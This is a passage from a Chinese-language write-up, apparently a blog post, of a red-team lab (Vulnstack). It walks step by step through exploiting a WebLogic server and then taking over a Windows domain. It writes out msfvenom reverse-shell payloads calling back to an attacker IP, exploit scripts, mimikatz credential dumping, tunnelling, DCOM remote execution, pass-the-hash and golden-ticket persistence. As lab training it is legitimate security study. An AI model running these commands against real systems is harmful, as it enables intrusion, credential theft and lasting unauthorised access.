前言
最近做了做红日的vulnstack,感觉蛮好玩的,写篇文章记录一下解题过程。
环境搭建
首先配置模拟内外网环境
其中,10.10.10.0为内网网段
192.168.111.0为模拟外网网段
本次靶场靶机共三台,网络配置分别如下
WEB:
拥有两张网卡,一台连接外网,另一台连接内网
进入weblogic目录手动开启weblogic
PC:
拥有两张网卡,一张连接外网,一张连接内网
DC:
拥有一张网卡,只能与内网中主机通信
本次实验网络拓扑
从攻击机上只能直接访问到WEB上开放的web服务
实验开始
首先扫描已知web服务器开放端口及服务
nmap -sV 192.168.111.80
-sV意思是探测开放端口以确定服务/版本信息
可以看出在目标主机上1433端口运行着mysql服务,3389被防火墙所保护,7001端口开放着weblogic服务,看到weblogic
我们首先便想到是否存在曾经爆出过的RCE
从GitHub上找一个weblogin漏扫扫一波
python WeblogicScan.py 192.168.111.80 7001
扫出了后台地址泄露与两个CVE,从百度上看了看,每个版本的 WeblogicScan扫出来的好像都不太一样。。。
首先去后台爆破一下弱密码试试
可惜没有成功,那么便试一试CVE_2018_2628
从网上找一个该漏洞的利用脚本打打试试:
git clone https://github.com/jas502n/CVE-2018-2628.git
python CVE-2018-2628-Getshell.py 192.168.111.80 7001 123456.jsp
这里的shell名称可以自定义,不过注意必须长度为10个字符
攻击成功后会返回一个命令运行的url点击进入便可以看到命令执行结果(whoami的base64结果为d2hvYW1pCg==)
可以看到当前已经获得了WEB的管理员命令执行权限,接下来便是尝试上传一个msf马从而进一步扩大权限
首先在msf上生成一个powershell格式的马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=4444 -f psh-cmd > haixian.ps1
将生成的psl格式的文件中内容进行base64编码,放到参数tom中打一打,同时在msf中开启监听
打了半天没反应,又从网上找了好多其他的cve-2018-2628利用方法都没有成功(弟弟太菜了)
于是尝试换一个漏洞,之前我了解到,不同版本的weblogic扫描器扫出来结果不太相同,也就是说有可能目标存在该漏洞
而扫描器扫不出来,所以从网上看了看其他大佬们的解题过程,发现他们还扫描出了cve-2019-2725这个漏洞,恰好msf
中有对应的利用模块
search weblogic
use 5
options
set target 1(因为默认target为0是针对unix系统的,而这里的靶机是windows)
set rhosts 192.168.111.80
set lhost 192.168.111.128
run
可见回弹了管理员权限的meterpreter,至此,我们基本完成对与内地一台主机WEB的渗透,接下来开始域内信息收集并
横向移动
内网渗透
惯用的套路先查看本机信息再查看域信息
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
当我们运行net time /domain时系统提示禁止访问
猜测此时用户不是域内用户而是本机用户,所以尝试切换用户再次进行信息收集
切换用户首先要知道其他用户的用户名和密码,先尝试msf自带的kiwi抓取提示没有system权限
load kiwi
creds_wdigest
尝试简单的提权但是失败了
getsystem
鉴于msf里面的kiwi模块经常不好使,所以我们上传一个自己的mimikatz再尝试抓取一次
upload /home/haixian/mimikatz.exe C://
shell
chcp 65001
cd C://
dir
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
可见成功抓取了mssql、Administrator、de1ay、三个域用户的用户名和密码,接下来我们便切换到用户de1ay来进行信息
收集
runas /user:Administrator cmd
跑了好几次都是这样
提示要输入密码但是不给输入密码的时间,不知道为啥。。(有大佬知道的欢迎斧正~)
无奈只能放弃,既然域信息暂时查看不了那就先看看本机的吧
systeminfo
ipconfig /all
netstat -ano
从系统信息里可以看到居然只打了三个补丁。。。(不愧是靶机),但是我们更感兴趣的是开放的3389
既然刚刚已经抓取到了三个用户的明文密码,我们便尝试打开远程桌面
rdesktop 192.168.111.80
尝试使用de1ay用户登录,被提示没有远程桌面权限,那就尝试Administrator登录,登陆后提示修改密码,修改为
HONGRISEC@2021后成功登陆
登录域管帐号之后我们就可以放心的进行域内信息收集了
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
经过信息收集可以知道的信息有:目标内网存在域de1ay.com,域内三台主机包括域控DC以及PC和WEB,域管理员为
Administrator,接下来我们便以WEB为跳板机进行横向移动
在WEB上上传EW搭建代理
upload /home/haixian/ew-master c:\\
在本地添加转接隧道
将本地1080端口收到的数据发送给5555端口
./ew_for_linux64 -s rcsocks -l 1080 -e 5555
在跳板机执行
ew_for_Win.exe -s rssocks -d 192.168.111.128 -e 5555
kali上收到回显,隧道搭建成功
接下来配置kali上的代理工具
vim /etc/proxychains.conf
接下来借助搭建好的隧道进行内网横向移动
首先扫描内网确定两台主机的ip
proxychains nmap -sS -Pn 10.10.10.0/24
首先尝试速度快的SYN扫描,但是失败了,考虑到可能是存在边界设备拦截了某些类型的扫描数据包
多次尝试最终都没有成功,那就换个方法,尝试用获取的meterpreter来收集内网信息
run get_local_subnets
添加路由
run autoroute -s 10.10.10.0/24
添加成功后我们使用msf的udp_sweep模块,通过发送udp包的形式来探测目标内网内的活跃主机
search udp_sweep
use 0
options
set rhosts 10.10.10.0/24
set thread 50
run
扫描发现内网中DC的ip为10.10.10.10,而PC的ip为10.10.10.201,接下来我们首先对PC展开渗透
PC
刚刚我们已经在WEB上抓到了域内账户的用户名与密码,接下来便可以尝试使用这几个账号与PC建立连接
net use \\10.10.10.201\ipc$ "HONGRISEC@2021" /user:administrator
连接建立成功,尝试上传一个msf的马到PC上
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=1234 -f exe >haixian.exe
首先上传到WEB上
upload /home/haixian/haixian.exe c://
再由WEB通过刚刚建立的IPC连接传到PC上
copy c:\haixian.exe \\10.10.10.201\c$ /y
然后由WEB上的powershell通过DCOM控制PC执行haixian.exe
load powershell
powershell_shell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.201"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\haixian.exe","Minimized")
可是发现session很快会断掉,猜测可能是PC上的360起了作用
所以尝试对生成的木马进行免杀,具体免杀方法详见文章https://www.freebuf.com/articles/network/270218.html
免杀处理后成功上线,查看当前权限为管理员
至此PC已成功拿下,接下来向域控进军
DC
这个靶场里面PC与DC都用MSF扫出了永恒之蓝,但是可能由于防火墙的原因打不通,但是由于一开始我们就抓到了域管
账户名与密码,而且还抓到了哈希,这是一个突破口,尝试对域控采用哈希传递攻击
mimikatz.exe
sekurlsa::pth /domain:de1ay.com /user:Administrator /ntlm:662fb256a143db7df7ff0898c6cd8b2b
尝试访问域控
dir \\10.10.10.10\c$
成功访问,接下来便是重复之前的套路,传马,利用DCOM执行
copy c:\haixian.exe \\10.10.10.10\c$
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\haixian.exe","Minimized")
成功回弹
成功拿下域控
后渗透
在实战情况下拿下一台主机的最高权限并不意味着渗透的结束,我们还需要利用已经取得的权限在目标主机上留有后门以
方便日后的“访问”
制作并加载黄金票据
mimikatz.exe
lsadump::lsa /patch
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:haixian.kirbi
注意ntlm值是密钥分发中心对应的值
kerberos::ptt ticket.kirbi
制作成功后把票据加载到内存里,然后就可以始终以最高权限访问域控了!
写在后面
这个靶场相较于上一个难度总体上说有所提升,考察到了weblogic反序列化漏洞的发现与利用以及哈希传递、黄金票据、
永恒之蓝、木马免杀、$ipc的搭建、DCOM的利用等等知识,比较适合新手进阶练习,接下来笔者会挑战更难一些的靶
场,敬请期待。
感谢阅读,溜了溜了~
部分内容参考大佬文章:https://whoamianony.top/2021/02/04/渗透测试/vulnstack/记一次Vulnstack靶场内网渗透(四)/
来源:freebuf.com 2021-07-29 21:57:29 by: secur1ty
请登录后发表评论
注册